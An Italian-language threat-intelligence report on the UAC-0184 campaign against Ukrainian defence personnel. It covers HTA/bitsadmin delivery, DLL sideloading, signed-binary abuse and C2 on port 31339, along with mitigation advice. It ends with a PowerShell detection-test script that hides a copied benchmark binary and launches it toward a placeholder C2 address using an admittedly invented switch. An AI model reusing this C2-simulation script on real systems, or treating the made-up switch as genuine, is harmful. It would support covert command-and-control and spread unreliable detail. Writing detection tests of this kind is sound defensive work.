SOC Prime Bias: Critico

19 May 2026 13:14 UTC

UAC-0184: Da HTA a uno Stack di Rete Firmato

Author Photo
SOC Prime Team linkedin icon Segui
UAC-0184: Da HTA a uno Stack di Rete Firmato
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

Il rapporto descrive un’intrusione a più fasi mirata al personale della difesa ucraina che inizia con file HTA dannosi consegnati tramite bitsadmin e file di collegamento LNK. Il payload è posizionato all’interno di un archivio ZIP, quindi utilizza il caricamento laterale DLL con componenti Plane9 e metodi di decodifica personalizzati, inclusi XOR e LZNT1, per estrarre strumenti firmati come PassMark Endpoint insieme a un file dannoso input.dll. L’attività di rete è mascherata attraverso una scoperta multicast UDP dall’aspetto legittimo sulla porta 31339. Non è stato identificato alcun server esterno di comando e controllo statico nei campioni analizzati.

Indagine

L’analisi della catena di consegna basata su HTA ha rivelato bitsadmin comandi che scaricavano un archivio ZIP contenente Cluster-Overlay64.exe e file DLL correlati. L’ingegneria inversa ha esposto una sequenza di caricamento che ha estratto filter.bin and kernel-diag.lib, li ha decodificati e quindi caricati evr.dll. La fase finale ha lasciato cadere VSLauncher.exe insieme a un PassMark firmato input.dll, abilitando la scoperta multicast UDP e la comunicazione TCP sulla porta 31339. Gli attaccanti si sono affidati a binari firmati e firme di codice legittime per ridurre i sospetti ed eludere la rilevazione.

Mitigazione

I difensori dovrebbero bloccare l’esecuzione di mshta.exe e prevenire bitsadmin dallo scaricare contenuti da fonti non affidabili. Il monitoraggio dovrebbe concentrarsi su file LNK contenenti bitsadmin linee di comando e nomi di file temporanei che iniziano con ~tmp. I team di sicurezza dovrebbero anche rilevare il caricamento laterale DLL sospetto che coinvolge Plane9Engine.dll or openvr_api.dll. Gli avvisi dovrebbero essere configurati per il traffico UDP e TCP sulla porta 31339 da host che normalmente non usano il software PassMark. È raccomandata una lista di autorizzazioni per VSLauncher.exe e un’ispezione per input.dll file imprevisti in System32 or SysWOW64 sono anche raccomandati.

Risposta

Se viene rilevata un’attività correlata, isolare immediatamente il sistema interessato, raccogliere la memoria volatile e i file scaricati ed eseguire un’analisi forense delle utility distribuite. Cercare nell’ambiente altri host che mostrano gli stessi artefatti LNK, schemi di caricamento laterale DLL o comportamento multicast UDP. Rimuovere tutti i file dannosi, revocare eventuali certificati compromessi se applicabile e reimpostare le credenziali associate agli account interessati. Il contenuto di rilevazione dovrebbe essere poi aggiornato utilizzando gli indicatori estratti.

graph TB classDef action fill:#99ccff initial_access[“<b>Accesso Iniziale</b> – T1547.009 Modifica Collegamenti<br/><b>Tecnica</b>: Collegamento LNK malevolo<br/><b>Aggiuntivo</b>: T1027.012 Occultamento Icona LNK”] class initial_access action execution[“<b>Esecuzione</b> – T1218.005 Esecuzione Proxy Mshta<br/><b>Tecnica</b>: mshta esegue HTA<br/><b>Aggiuntivo</b>: T1204.002 Esecuzione Utente”] class execution action download[“<b>Fase Download</b> – T1059.003 Shell Comandi Windows<br/><b>Tecniche</b>: PowerShell, bitsadmin<br/><b>Correlato</b>: T1071.002 FTP, T1570 Trasferimento Strumenti”] class download action staged_payload[“<b>Payload a Fasi</b> – T1055.001 Iniezione DLL<br/><b>Tecniche</b>: Plane9 visualizer, openvr_api.dll<br/><b>Aggiuntivo</b>: T1546.009 DLL AppCert”] class staged_payload action obfuscation[“<b>Offuscamento</b> – T1027 File Offuscati<br/><b>Dettagli</b>: filter.bin XOR e LZNT1<br/><b>Aggiuntivo</b>: T1027.004 Compilazione Dopo Consegna, T1573.001 Crittografia Simmetrica”] class obfuscation action deployment[“<b>Distribuzione Payload</b> – T1546.009 Esecuzione Attivata da Evento<br/><b>Processo</b>: VSLauncher.exe carica input.dll”] class deployment action credential[“<b>Raccolta Credenziali</b> – T1003 Dumping Credenziali<br/><b>Metodo</b>: MiniDumpWriteDump tramite iniezione”] class credential action c2[“<b>Comando e Controllo</b> – T1571 Porta Non Standard<br/><b>Metodo</b>: Discovery multicast UDP, TCP sulla 31339<br/><b>Aggiuntivo</b>: T1090 Proxy”] class c2 action initial_access –>|porta_a| execution execution –>|attiva| download download –>|fornisce| staged_payload staged_payload –>|contiene| obfuscation obfuscation –>|usato_in| deployment deployment –>|abilita| credential credential –>|riporta_a| c2

Flusso di Attacco

Esecuzione Simulazione

Prerequisito: Il Controllo Pre-volo di Telemetria & di Baseline deve essere passato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevazione. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare esattamente la telemetria attesa dalla logica di rilevazione. Esempi astratti o non correlati porteranno a diagnosi errate.

  • Narrazione dell’Attacco & Comandi:
    L’avversario ha ottenuto una copia di PassMark BurnInTest.exe (uno strumento di benchmarking legittimo) e lo riutilizza per agire come un client C2 nascosto. Invocando il binario con argomenti personalizzati, apre una connessione TCP al server controllato dall’attaccante sulla porta 31339. Poiché il firewall registra il nome dell’applicazione (“PassMark BurnInTest”), la clausola di filtro della regola di rilevazione (product|contains: "PassMark BurnInTest") è negata, permettendo al traffico di essere contrassegnato come sospetto. I passaggi sono:

    1. Copiare il binario BurnInTest legittimo in una directory nascosta.
    2. Eseguire con argomenti che forzino una connessione di rete all’IP C2 (es., 192.0.2.55) sulla porta 31339.
    3. Mantenere il processo in esecuzione abbastanza a lungo affinché il firewall registri la connessione in uscita.
  • Script di Test di Regressione:

    # -------------------------------------------------
    # Riutilizzo PassMark BurnInTest per traffico C2 nascosto
    # -------------------------------------------------
    $burnInPath = "$env:ProgramFilesPassMarkBurnInTest.exe"
    $hiddenDir   = "$env:ProgramData.temp"
    $c2IP        = "192.0.2.55"
    $c2Port      = 31339
    
    # 1. Assicurarsi che la directory nascosta esista
    if (-not (Test-Path $hiddenDir)) {
        New-Item -ItemType Directory -Path $hiddenDir -Force | Out-Null
        # Nascondere la cartella
        (Get-Item $hiddenDir).Attributes += 'Hidden'
    }
    
    # 2. Copiare il binario (simulando una copia posseduta dall'attaccante)
    $copiedExe = Join-Path $hiddenDir "BurnInTest.exe"
    Copy-Item -Path $burnInPath -Destination $copiedExe -Force
    
    # 3. Lanciare il binario per creare una connessione TCP al C2
    #    (Si presume che BurnInTest supporti uno switch /net – è illustrativo)
    $args = "/net $c2IP $c2Port"
    $proc = Start-Process -FilePath $copiedExe -ArgumentList $args -PassThru
    
    Write-Host "PassMark BurnInTest lanciato (PID $($proc.Id)) – Il traffico C2 dovrebbe apparire nei log del firewall."
    # Mantenere il processo attivo per 30 secondi per assicurare il logging
    Start-Sleep -Seconds 30
  • Comandi di Pulizia:

    # -------------------------------------------------
    # Pulizia dopo l'attività simulata di PassMark BurnInTest
    # -------------------------------------------------
    $hiddenDir = "$env:ProgramData.temp"
    
    # Arrestare qualsiasi processo residuale di BurnInTest
    Get-Process -Name "BurnInTest" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Rimuovere la directory nascosta e i suoi contenuti
    if (Test-Path $hiddenDir) {
        Remove-Item -Recurse -Force $hiddenDir
    }
    
    Write-Host "Pulizia completata – nessun binario o processo residuale di BurnInTest rimane."